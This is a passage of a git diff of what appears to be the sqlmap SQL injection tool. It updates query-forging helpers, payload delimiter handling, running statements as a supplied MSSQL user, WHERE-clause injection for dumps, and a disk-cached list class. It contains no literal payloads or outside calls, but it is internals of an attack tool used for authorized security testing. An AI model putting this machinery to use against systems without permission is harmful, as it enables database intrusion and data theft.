%s) ORDER BY %s" % (uniqueField or field, fromFrom, uniqueField or "1", uniqueField or "1") + limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or '1', uniqueField or '1') else: + match = re.search(r" ORDER BY (\w+)\Z", query) + field = match.group(1) if match else field + if " WHERE " in limitedQuery: limitedQuery = "%s AND %s " % (limitedQuery, field) else: @@ -763,6 +1169,26 @@ def limitQuery(self, num, query, field=None, uniqueField=None): return limitedQuery + def forgeQueryOutputLength(self, expression): + lengthQuery = queries[Backend.getIdentifiedDbms()].length.query + select = re.search(r"\ASELECT\s+", expression, re.I) + selectFrom = re.search(r"\ASELECT\s+(.+)\s+FROM\s+(.+)", expression, re.I) + selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) + selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I) + + _, _, _, _, _, _, fieldsStr, _ = self.getFields(expression) + + if Backend.getIdentifiedDbms() in (DBMS.MCKOI,) and selectFrom: + lengthExpr = "SELECT %s FROM %s" % (lengthQuery % selectFrom.group(1), selectFrom.group(2)) + elif selectTopExpr or selectMinMaxExpr: + lengthExpr = lengthQuery % ("(%s)" % expression) + elif select: + lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1) + else: + lengthExpr = lengthQuery % expression + + return unescaper.escape(lengthExpr) + def forgeCaseStatement(self, expression): """ Take in input a query string and return its CASE statement query @@ -782,7 +1208,7 @@ def forgeCaseStatement(self, expression): caseExpression = expression - if Backend.getIdentifiedDbms() is not None and hasattr(queries[Backend.getIdentifiedDbms()], "case"): + if Backend.getIdentifiedDbms() is not None: caseExpression = queries[Backend.getIdentifiedDbms()].case.query % expression if "(IIF" not in caseExpression and Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not caseExpression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): @@ -790,46 +1216,64 @@ def forgeCaseStatement(self, expression): return caseExpression - def addPayloadDelimiters(self, inpStr): + def addPayloadDelimiters(self, value): """ Adds payload delimiters around the input string """ - return "%s%s%s" % (PAYLOAD_DELIMITER, inpStr, PAYLOAD_DELIMITER) if inpStr else inpStr + return "%s%s%s" % (PAYLOAD_DELIMITER, value, PAYLOAD_DELIMITER) if value else value - def removePayloadDelimiters(self, inpStr): + def removePayloadDelimiters(self, value): """ Removes payload delimiters from inside the input string """ - return inpStr.replace(PAYLOAD_DELIMITER, '') if inpStr else inpStr + return value.replace(PAYLOAD_DELIMITER, "") if value else value - def extractPayload(self, inpStr): + def extractPayload(self, value): """ Extracts payload from inside of the input string """ - return extractRegexResult("(?s)%s(?P.*?)%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), inpStr) + _ = re.escape(PAYLOAD_DELIMITER) + return extractRegexResult(r"(?s)%s(?P.*?)%s" % (_, _), value) - def replacePayload(self, inpStr, payload): + def replacePayload(self, value, payload): """ Replaces payload inside the input string with a given payload """ - return re.sub("(%s.*?%s)" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), "%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER), inpStr) if inpStr else inpStr + _ = re.escape(PAYLOAD_DELIMITER) + return re.sub(r"(?s)(%s.*?%s)" % (_, _), ("%s%s%s" % (PAYLOAD_DELIMITER, getUnicode(payload), PAYLOAD_DELIMITER)).replace("\\", r"\\"), value) if value else value def runAsDBMSUser(self, query): - if conf.dCred and "Ad Hoc Distributed Queries" not in query: - for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): - for sqlStatement in sqlStatements: - if query.lower().startswith(sqlStatement): - sqlType = sqlTitle - break + if conf.dbmsCred and "Ad Hoc Distributed Queries" not in query: + query = getSQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''")) - if sqlType and "SELECT" not in sqlType: - query = "SELECT %d;%s" % (randomInt(), query) + return query - query = getSPQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''")) + def whereQuery(self, query): + if conf.dumpWhere and query: + if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None: + prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), "" + else: + match = re.search(r" (LIMIT|ORDER).+", query, re.I) + if match: + suffix = match.group(0) + prefix = query[:-len(suffix)] + else: + prefix, suffix = query, "" + + if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper(): + prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix) + elif re.search(r"(?i)\bWHERE\b", prefix): + prefix += " AND %s" % conf.dumpWhere + else: + prefix += " WHERE %s" % conf.dumpWhere + + query = prefix + if suffix and not all(re.search(r"ORDER BY", _, re.I) is not None for _ in (query, suffix)): + query += suffix return query diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 19f9e91fcd6..7e33524b8d4 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -1,17 +1,58 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +try: + import cPickle as pickle +except: + import pickle + +import itertools import os -import pickle +import shutil +import sys import tempfile +import threading +import zlib + +from lib.core.compat import xrange +from lib.core.enums import MKSTEMP_PREFIX +from lib.core.exception import SqlmapSystemException +from lib.core.settings import BIGARRAY_CHUNK_SIZE +from lib.core.settings import BIGARRAY_COMPRESS_LEVEL + +try: + DEFAULT_SIZE_OF = sys.getsizeof(object()) +except TypeError: + DEFAULT_SIZE_OF = 16 + +try: + # Python 2: basestring covers str and unicode + STRING_TYPES = (basestring,) +except NameError: + # Python 3: str and bytes are separate + STRING_TYPES = (str, bytes) + +def _size_of(instance): + """ + Returns total size of a given instance / object (in bytes) + """ -from lib.core.settings import BIGARRAY_CHUNK_LENGTH + retval = sys.getsizeof(instance, DEFAULT_SIZE_OF) -class Cache: + if isinstance(instance, STRING_TYPES): + return retval + elif isinstance(instance, dict): + retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(instance.items())) + elif isinstance(instance, (list, tuple, set, frozenset)): + retval += sum(_size_of(_) for _ in instance if _ is not instance) + + return retval + +class Cache(object): """ Auxiliary class used for storing cached chunks """ @@ -24,85 +65,275 @@ def __init__(self, index, data, dirty): class BigArray(list): """ List-like class used for storing large amounts of data (disk cached) + + >>> _ = BigArray(xrange(100000), chunk_size=500 * 1024) + >>> _[20] = 0 + >>> _[-1] = 999 + >>> _[99999] + 999 + >>> _[100000] + Traceback (most recent call last): + ... + IndexError: BigArray index out of range + >>> _ += [0] + >>> sum(_) + 4999850980 + >>> _[len(_) // 2] = 17 + >>> sum(_) + 4999800997 + >>> _[100000] + 0 + >>> _[0] = [None] + >>> _.index(0) + 20 + >>> import pickle; __ = pickle.loads(pickle.dumps(_)) + >>> __.append(1) + >>> len(_) + 100001 + >>> _ = __ + >>> _[-1] + 1 + >>> _.pop() + 1 + >>> len(_) + 100001 + >>> len([_ for _ in BigArray(xrange(100000))]) + 100000 """ - def __init__(self): + def __init__(self, items=None, chunk_size=BIGARRAY_CHUNK_SIZE): self.chunks = [[]] + self.chunk_length = sys.maxsize self.cache = None - self.length = 0 self.filenames = set() + self._lock = threading.Lock() + self._os_remove = os.remove + self._size_counter = 0 + self._chunk_size = chunk_size + + for item in (items or []): + self.append(item) + + def __add__(self, value): + retval = BigArray(self) + + for _ in value: + retval.append(_) + + return retval + + def __iadd__(self, value): + for _ in value: + self.append(_) + + return self def append(self, value): - self.chunks[-1].append(value) - if len(self.chunks[-1]) >= BIGARRAY_CHUNK_LENGTH: - filename = self._dump(self.chunks[-1]) - del(self.chunks[-1][:]) - self.chunks[-1] = filename - self.chunks.append([]) + with self._lock: + self.chunks[-1].append(value) + + if self.chunk_length == sys.maxsize: + self._size_counter += _size_of(value) + if self._size_counter >= self._chunk_size: + self.chunk_length = len(self.chunks[-1]) + self._size_counter = None + + if len(self.chunks[-1]) >= self.chunk_length: + filename = self._dump(self.chunks[-1]) + self.chunks[-1] = filename + self.chunks.append([]) + + def extend(self, value): + for _ in value: + self.append(_) def pop(self): - if len(self.chunks[-1]) < 1: - self.chunks.pop() - with open(self.chunks[-1], "rb") as fp: - self.chunks[-1] = pickle.load(fp) + with self._lock: + if not self.chunks[-1] and len(self.chunks) > 1: + self.chunks.pop() + try: + filename = self.chunks[-1] + with open(filename, "rb") as f: + self.chunks[-1] = pickle.loads(zlib.decompress(f.read())) + self._os_remove(filename) + self.filenames.discard(filename) + except IOError as ex: + errMsg = "exception occurred while retrieving data " + errMsg += "from a temporary file ('%s')" % ex + raise SqlmapSystemException(errMsg) + return self.chunks[-1].pop() def index(self, value): for index in xrange(len(self)): if self[index] == value: return index - return ValueError, "%s is not in list" % value - def _dump(self, value): - handle, filename = tempfile.mkstemp() - self.filenames.add(filename) - os.close(handle) - with open(filename, "w+b") as fp: - pickle.dump(value, fp) - return filename + raise ValueError("%s is not in list" % value) + + def __reduce__(self): + return (self.__class__, (), self.__getstate__()) + + def close(self): + with self._lock: + while self.filenames: + filename = self.filenames.pop() + try: + self._os_remove(filename) + except OSError: + pass + self.chunks = [[]] + self.cache = None + self.chunk_length = getattr(sys, "maxsize", None) + self._size_counter = 0 + + def __del__(self): + self.close() + + def _dump(self, chunk): + try: + handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY) + self.filenames.add(filename) + with os.fdopen(handle, "w+b") as f: + f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL)) + return filename + except (OSError, IOError) as ex: + errMsg = "exception occurred while storing data " + errMsg += "to a temporary file ('%s'). Please " % ex + errMsg += "make sure that there is enough disk space left. If problem persists, " + errMsg += "try to set environment variable 'TEMP' to a location " + errMsg += "writeable by the current user" + raise SqlmapSystemException(errMsg) def _checkcache(self, index): + if self.cache is not None and not isinstance(self.cache, Cache): + self.cache = None + if (self.cache and self.cache.index != index and self.cache.dirty): filename = self._dump(self.cache.data) self.chunks[self.cache.index] = filename + if not (self.cache and self.cache.index == index): - with open(self.chunks[index], "rb") as fp: - self.cache = Cache(index, pickle.load(fp), False) + try: + with open(self.chunks[index], "rb") as f: + self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False) + except Exception as ex: + errMsg = "exception occurred while retrieving data " + errMsg += "from a temporary file ('%s')" % ex + raise SqlmapSystemException(errMsg) + + def __getstate__(self): + if self.cache and self.cache.dirty: + filename = self._dump(self.cache.data) + self.chunks[self.cache.index] = filename + self.cache.dirty = False + + return self.chunks, self.filenames, self.chunk_length + + def __setstate__(self, state): + self.__init__() + chunks, filenames, self.chunk_length = state + + file_mapping = {} + self.filenames = set() + self.chunks = [] + + for filename in filenames: + if not os.path.exists(filename): + continue + + try: + handle, new_filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY) + os.close(handle) + shutil.copyfile(filename, new_filename) + self.filenames.add(new_filename) + file_mapping[filename] = new_filename + except (OSError, IOError): + pass + + for chunk in chunks: + if isinstance(chunk, STRING_TYPES): + if chunk in file_mapping: + self.chunks.append(file_mapping[chunk]) + else: + errMsg = "exception occurred while restoring BigArray chunk " + errMsg += "from file '%s'" % chunk + raise SqlmapSystemException(errMsg) + else: + self.chunks.append(chunk) def __getitem__(self, y): - index = y / BIGARRAY_CHUNK_LENGTH - offset = y % BIGARRAY_CHUNK_LENGTH - chunk = self.chunks[index] - if isinstance(chunk, list): - return chunk[offset] - else: - self._checkcache(index) - return self.cache.data[offset] + with self._lock: + length = len(self) + if length == 0: + raise IndexError("BigArray index out of range") + + if y < 0: + y += length + + if y < 0 or y >= length: + raise IndexError("BigArray index out of range") + + index = y // self.chunk_length + offset = y % self.chunk_length + chunk = self.chunks[index] + + if isinstance(chunk, list): + return chunk[offset] + else: + self._checkcache(index) + return self.cache.data[offset] def __setitem__(self, y, value): - index = y / BIGARRAY_CHUNK_LENGTH - offset = y % BIGARRAY_CHUNK_LENGTH - chunk = self.chunks[index] - if isinstance(chunk, list): - chunk[offset] = value - else: - self._checkcache(index) - self.cache.data[offset] = value - self.cache.dirty = True + with self._lock: + length = len(self) + if length == 0: + raise IndexError("BigArray index out of range") + + if y < 0: + y += length + + if y < 0 or y >= length: + raise IndexError("BigArray index out of range") + + index = y // self.chunk_length + offset = y % self.chunk_length + chunk = self.chunks[index] + + if isinstance(chunk, list): + chunk[offset] = value + else: + self._checkcache(index) + self.cache.data[offset] = value + self.cache.dirty = True def __repr__(self): return "%s%s" % ("..." if len(self.chunks) > 1 else "", self.chunks[-1].__repr__()) def __iter__(self): - for i in xrange(len(self)): - yield self[i] + with self._lock: + chunks = list(self.chunks) + cache_index = self.cache.index if isinstance(self.cache, Cache) else None + cache_data = self.cache.data if isinstance(self.cache, Cache) else None - def __len__(self): - return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * BIGARRAY_CHUNK_LENGTH + len(self.chunks[-1]) + for idx, chunk in enumerate(chunks): + if isinstance(chunk, list): + for item in chunk: + yield item + else: + try: + if cache_index == idx and cache_data is not None: + data = cache_data + else: + with open(chunk, "rb") as f: + data = pickle.loads(zlib.decompress(f.read())) + except Exception as ex: + errMsg = "exception occurred while retrieving data " + errMsg += "from a temporary file ('%s')" % ex + raise SqlmapSystemException(errMsg) - def __del__(self): - for filename in self.filenames: - try: - os.remove(filename) - except OSError: - pass + for item in data: + yield item + + def __len__(self): + return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * self.chunk_length + len(self.chunks[-1]) diff --git a/lib/core/common.py b/lib/core/common.py index 5707ea27ad8..24ca3276332 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1,133 +1,213 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import division + +import binascii import codecs import contextlib -import cookielib import copy -import ctypes -import httplib +import functools +import getpass +import hashlib import inspect +import io +import json +import keyword +import locale import logging import ntpath import os -import pickle +import platform import posixpath import random import re import socket import string -import struct +import subprocess import sys +import tempfile +import threading import time -import urllib -import urlparse +import types import unicodedata +import zlib -from ConfigParser import DEFAULTSECT -from ConfigParser import RawConfigParser -from StringIO import StringIO from difflib import SequenceMatcher from math import sqrt from optparse import OptionValueError -from subprocess import PIPE -from subprocess import Popen as execute -from tempfile import NamedTemporaryFile -from tempfile import mkstemp -from xml.etree import ElementTree as ET -from xml.dom import minidom from xml.sax import parse +from xml.sax import SAXParseException -from extra.clientform.clientform import ParseResponse -from extra.clientform.clientform import ParseError +from extra.beep.beep import beep from extra.cloak.cloak import decloak -from extra.magic import magic -from extra.odict.odict import OrderedDict -from extra.safe2bin.safe2bin import safecharencode from lib.core.bigarray import BigArray +from lib.core.compat import cmp +from lib.core.compat import codecs_open +from lib.core.compat import LooseVersion +from lib.core.compat import round +from lib.core.compat import xrange +from lib.core.convert import base64pickle +from lib.core.convert import base64unpickle +from lib.core.convert import decodeBase64 +from lib.core.convert import decodeHex +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import getUnicode +from lib.core.convert import htmlUnescape +from lib.core.convert import stdoutEncode +from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths -from lib.core.convert import base64pickle -from lib.core.convert import base64unpickle -from lib.core.convert import htmlunescape -from lib.core.convert import unicodeencode -from lib.core.convert import urldecode -from lib.core.convert import urlencode +from lib.core.datatype import OrderedSet +from lib.core.decorators import cachedmethod +from lib.core.defaults import defaults +from lib.core.dicts import DBMS_DICT +from lib.core.dicts import DEFAULT_DOC_ROOTS +from lib.core.dicts import DEPRECATED_OPTIONS +from lib.core.dicts import OBSOLETE_OPTIONS +from lib.core.dicts import SQL_STATEMENTS +from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import CHARSET_TYPE +from lib.core.enums import CONTENT_STATUS from lib.core.enums import DBMS from lib.core.enums import EXPECTED -from lib.core.enums import HTTPHEADER +from lib.core.enums import HASHDB_KEYS +from lib.core.enums import HEURISTIC_TEST +from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD +from lib.core.enums import LOGGING_LEVELS +from lib.core.enums import MKSTEMP_PREFIX +from lib.core.enums import OPTION_TYPE from lib.core.enums import OS -from lib.core.enums import PLACE from lib.core.enums import PAYLOAD +from lib.core.enums import PLACE +from lib.core.enums import POST_HINT from lib.core.enums import REFLECTIVE_COUNTER from lib.core.enums import SORT_ORDER -from lib.core.exception import sqlmapDataException -from lib.core.exception import sqlmapFilePathException -from lib.core.exception import sqlmapGenericException -from lib.core.exception import sqlmapNoneDataException -from lib.core.exception import sqlmapMissingDependence -from lib.core.exception import sqlmapSilentQuitException -from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import SqlmapBaseException +from lib.core.exception import SqlmapDataException +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapInstallationException +from lib.core.exception import SqlmapMissingDependence +from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapSilentQuitException +from lib.core.exception import SqlmapSyntaxException +from lib.core.exception import SqlmapSystemException +from lib.core.exception import SqlmapUserQuitException +from lib.core.exception import SqlmapValueException +from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict +from lib.core.settings import BANNER +from lib.core.settings import BOLD_PATTERNS_REGEX +from lib.core.settings import BOUNDARY_BACKSLASH_MARKER +from lib.core.settings import BOUNDED_INJECTION_MARKER +from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES +from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES +from lib.core.settings import BRUTE_DOC_ROOT_TARGET_MARK +from lib.core.settings import BURP_REQUEST_REGEX +from lib.core.settings import BURP_XML_HISTORY_REGEX +from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR +from lib.core.settings import DBMS_DIRECTORY_DICT from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER +from lib.core.settings import DEFAULT_MSSQL_SCHEMA +from lib.core.settings import DEV_EMAIL_ADDRESS +from lib.core.settings import DOLLAR_MARKER from lib.core.settings import DUMMY_USER_INJECTION -from lib.core.settings import INFERENCE_UNKNOWN_CHAR -from lib.core.settings import UNICODE_ENCODING -from lib.core.settings import DBMS_DICT -from lib.core.settings import DBMS_DIRECTORY_DICT -from lib.core.settings import DESCRIPTION -from lib.core.settings import DUMMY_SQL_INJECTION_CHARS -from lib.core.settings import FORMATTER -from lib.core.settings import NULL +from lib.core.settings import DYNAMICITY_BOUNDARY_LENGTH +from lib.core.settings import ERROR_PARSING_REGEXES +from lib.core.settings import EVALCODE_ENCODED_PREFIX +from lib.core.settings import FILE_PATH_REGEXES +from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME +from lib.core.settings import FORM_SEARCH_REGEX +from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES +from lib.core.settings import GIT_PAGE +from lib.core.settings import GITHUB_REPORT_OAUTH_TOKEN +from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX from lib.core.settings import HASHDB_MILESTONE_VALUE -from lib.core.settings import IS_WIN -from lib.core.settings import ISSUES_PAGE -from lib.core.settings import PLATFORM -from lib.core.settings import PYVERSION -from lib.core.settings import VERSION -from lib.core.settings import REVISION -from lib.core.settings import VERSION_STRING -from lib.core.settings import SITE from lib.core.settings import HOST_ALIASES -from lib.core.settings import REFERER_ALIASES -from lib.core.settings import USER_AGENT_ALIASES -from lib.core.settings import PARTIAL_VALUE_MARKER -from lib.core.settings import ERROR_PARSING_REGEXES -from lib.core.settings import PRINTABLE_CHAR_REGEX -from lib.core.settings import SQL_STATEMENTS -from lib.core.settings import SUPPORTED_DBMS -from lib.core.settings import UNKNOWN_DBMS_VERSION -from lib.core.settings import DEFAULT_MSSQL_SCHEMA -from lib.core.settings import PARAMETER_AMP_MARKER -from lib.core.settings import PARAMETER_SEMICOLON_MARKER +from lib.core.settings import HTTP_CHUNKED_SPLIT_KEYWORDS +from lib.core.settings import IGNORE_PARAMETERS +from lib.core.settings import IGNORE_SAVE_OPTIONS +from lib.core.settings import INFERENCE_UNKNOWN_CHAR +from lib.core.settings import INJECT_HERE_REGEX +from lib.core.settings import IP_ADDRESS_REGEX +from lib.core.settings import ISSUES_PAGE +from lib.core.settings import IS_TTY +from lib.core.settings import IS_WIN from lib.core.settings import LARGE_OUTPUT_THRESHOLD -from lib.core.settings import ML +from lib.core.settings import LOCALHOST +from lib.core.settings import MAX_INT +from lib.core.settings import MIN_ENCODED_LEN_CHECK +from lib.core.settings import MIN_ERROR_PARSING_NON_WRITING_RATIO from lib.core.settings import MIN_TIME_RESPONSES +from lib.core.settings import MIN_VALID_DELAYED_RESPONSE +from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES +from lib.core.settings import NULL +from lib.core.settings import PARAMETER_AMP_MARKER +from lib.core.settings import PARAMETER_SEMICOLON_MARKER +from lib.core.settings import PARAMETER_PERCENTAGE_MARKER +from lib.core.settings import PARTIAL_HEX_VALUE_MARKER +from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import PAYLOAD_DELIMITER +from lib.core.settings import PLATFORM +from lib.core.settings import PRINTABLE_CHAR_REGEX +from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS +from lib.core.settings import PUSH_VALUE_EXCEPTION_RETRY_COUNT +from lib.core.settings import PYVERSION +from lib.core.settings import RANDOMIZATION_TLDS +from lib.core.settings import REFERER_ALIASES from lib.core.settings import REFLECTED_BORDER_REGEX -from lib.core.settings import REFLECTED_REPLACEMENT_REGEX from lib.core.settings import REFLECTED_MAX_REGEX_PARTS +from lib.core.settings import REFLECTED_REPLACEMENT_REGEX +from lib.core.settings import REFLECTED_REPLACEMENT_TIMEOUT from lib.core.settings import REFLECTED_VALUE_MARKER -from lib.core.settings import TIME_STDEV_COEFF -from lib.core.settings import DYNAMICITY_MARK_LENGTH from lib.core.settings import REFLECTIVE_MISS_THRESHOLD +from lib.core.settings import REPLACEMENT_MARKER from lib.core.settings import SENSITIVE_DATA_REGEX +from lib.core.settings import SENSITIVE_OPTIONS +from lib.core.settings import STDIN_PIPE_DASH +from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import TEXT_TAG_REGEX -from lib.core.settings import UNION_UNIQUE_FIFO_LENGTH +from lib.core.settings import TIME_STDEV_COEFF +from lib.core.settings import UNICODE_ENCODING +from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import URI_QUESTION_MARKER +from lib.core.settings import URLENCODE_CHAR_LIMIT +from lib.core.settings import URLENCODE_FAILSAFE_CHARS +from lib.core.settings import USER_AGENT_ALIASES +from lib.core.settings import VERSION_COMPARISON_CORRECTION +from lib.core.settings import VERSION_STRING +from lib.core.settings import ZIP_HEADER +from lib.core.settings import WEBSCARAB_SPLITTER from lib.core.threads import getCurrentThreadData - -class UnicodeRawConfigParser(RawConfigParser): +from lib.utils.safe2bin import safecharencode +from lib.utils.sqlalchemy import _sqlalchemy +from thirdparty import six +from thirdparty.clientform.clientform import ParseResponse +from thirdparty.clientform.clientform import ParseError +from thirdparty.colorama.initialise import init as coloramainit +from thirdparty.magic import magic +from thirdparty.odict import OrderedDict +from thirdparty.six import unichr as _unichr +from thirdparty.six.moves import collections_abc as _collections +from thirdparty.six.moves import configparser as _configparser +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import input as _input +from thirdparty.six.moves import reload_module as _reload_module +from thirdparty.six.moves import urllib as _urllib +from thirdparty.six.moves import zip as _zip +from thirdparty.termcolor.termcolor import colored + +class UnicodeRawConfigParser(_configparser.RawConfigParser): """ RawConfigParser with unicode writing support """ @@ -138,10 +218,10 @@ def write(self, fp): """ if self._defaults: - fp.write("[%s]\n" % DEFAULTSECT) + fp.write("[%s]\n" % _configparser.DEFAULTSECT) for (key, value) in self._defaults.items(): - fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t'))) + fp.write("%s = %s" % (key, getUnicode(value, UNICODE_ENCODING))) fp.write("\n") @@ -152,12 +232,12 @@ def write(self, fp): if key != "__name__": if value is None: fp.write("%s\n" % (key)) - else: - fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t'))) + elif not isListLike(value): + fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING))) fp.write("\n") -class Format: +class Format(object): @staticmethod def humanize(values, chain=" or "): return chain.join(values) @@ -176,7 +256,11 @@ def getDbms(versions=None): if versions is None and Backend.getVersionList(): versions = Backend.getVersionList() - return Backend.getDbms() if versions is None else "%s %s" % (Backend.getDbms(), " and ".join(v for v in versions)) + # NOTE: preventing ugly (e.g.) "back-end DBMS: MySQL Unknown" + if isListLike(versions) and UNKNOWN_DBMS_VERSION in versions: + versions = None + + return Backend.getDbms() if versions is None else "%s %s" % (Backend.getDbms(), " and ".join(filterNone(versions))) @staticmethod def getErrorParsedDBMSes(): @@ -191,7 +275,7 @@ def getErrorParsedDBMSes(): htmlParsed = None - if len(kb.htmlFp) == 0 or kb.heuristicTest is None: + if len(kb.htmlFp) == 0 or kb.heuristicTest != HEURISTIC_TEST.POSITIVE: pass elif len(kb.htmlFp) == 1: htmlParsed = kb.htmlFp[0] @@ -232,29 +316,38 @@ def getOs(target, info): """ infoStr = "" + infoApi = {} if info and "type" in info: - infoStr += "%s operating system: %s" % (target, Format.humanize(info["type"])) + if conf.api: + infoApi["%s operating system" % target] = info + else: + infoStr += "%s operating system: %s" % (target, Format.humanize(info["type"])) - if "distrib" in info: - infoStr += " %s" % Format.humanize(info["distrib"]) + if "distrib" in info: + infoStr += " %s" % Format.humanize(info["distrib"]) - if "release" in info: - infoStr += " %s" % Format.humanize(info["release"]) + if "release" in info: + infoStr += " %s" % Format.humanize(info["release"]) - if "sp" in info: - infoStr += " %s" % Format.humanize(info["sp"]) + if "sp" in info: + infoStr += " %s" % Format.humanize(info["sp"]) - if "codename" in info: - infoStr += " (%s)" % Format.humanize(info["codename"]) + if "codename" in info: + infoStr += " (%s)" % Format.humanize(info["codename"]) if "technology" in info: - infoStr += "\nweb application technology: %s" % Format.humanize(info["technology"], ", ") + if conf.api: + infoApi["web application technology"] = Format.humanize(info["technology"], ", ") + else: + infoStr += "\nweb application technology: %s" % Format.humanize(info["technology"], ", ") - return infoStr + if conf.api: + return infoApi + else: + return infoStr.lstrip() -class Backend: - # Set methods +class Backend(object): @staticmethod def setDbms(dbms): dbms = aliasToDbmsEnum(dbms) @@ -264,23 +357,29 @@ def setDbms(dbms): # Little precaution, in theory this condition should always be false elif kb.dbms is not None and kb.dbms != dbms: - msg = "sqlmap previously fingerprinted back-end DBMS " + warnMsg = "there appears to be a high probability that " + warnMsg += "this could be a false positive case" + logger.warning(warnMsg) + + msg = "sqlmap previously fingerprinted back-end DBMS as " msg += "%s. However now it has been fingerprinted " % kb.dbms - msg += "to be %s. " % dbms - msg += "Please, specify which DBMS is " + msg += "as %s. " % dbms + msg += "Please, specify which DBMS should be " msg += "correct [%s (default)/%s] " % (kb.dbms, dbms) while True: - _ = readInput(msg, default=kb.dbms) + choice = readInput(msg, default=kb.dbms) - if aliasToDbmsEnum(_) == kb.dbms: + if aliasToDbmsEnum(choice) == kb.dbms: + kb.dbmsVersion = [] + kb.resolutionDbms = kb.dbms break - elif aliasToDbmsEnum(_) == dbms: - kb.dbms = aliasToDbmsEnum(_) + elif aliasToDbmsEnum(choice) == dbms: + kb.dbms = aliasToDbmsEnum(choice) break else: warnMsg = "invalid value" - logger.warn(warnMsg) + logger.warning(warnMsg) elif kb.dbms is None: kb.dbms = aliasToDbmsEnum(dbms) @@ -289,7 +388,7 @@ def setDbms(dbms): @staticmethod def setVersion(version): - if isinstance(version, basestring): + if isinstance(version, six.string_types): kb.dbmsVersion = [version] return kb.dbmsVersion @@ -298,22 +397,22 @@ def setVersion(version): def setVersionList(versionsList): if isinstance(versionsList, list): kb.dbmsVersion = versionsList - elif isinstance(versionsList, basestring): + elif isinstance(versionsList, six.string_types): Backend.setVersion(versionsList) else: logger.error("invalid format of versionsList") @staticmethod def forceDbms(dbms, sticky=False): - if not kb.stickyFlag: + if not kb.stickyDBMS: kb.forcedDbms = aliasToDbmsEnum(dbms) - kb.stickyFlag = sticky + kb.stickyDBMS = sticky @staticmethod def flushForcedDbms(force=False): - if not kb.stickyFlag or force: + if not kb.stickyDBMS or force: kb.forcedDbms = None - kb.stickyFlag = False + kb.stickyDBMS = False @staticmethod def setOs(os): @@ -321,7 +420,7 @@ def setOs(os): return None # Little precaution, in theory this condition should always be false - elif kb.os is not None and isinstance(os, basestring) and kb.os.lower() != os.lower(): + elif kb.os is not None and isinstance(os, six.string_types) and kb.os.lower() != os.lower(): msg = "sqlmap previously fingerprinted back-end DBMS " msg += "operating system %s. However now it has " % kb.os msg += "been fingerprinted to be %s. " % os @@ -329,18 +428,18 @@ def 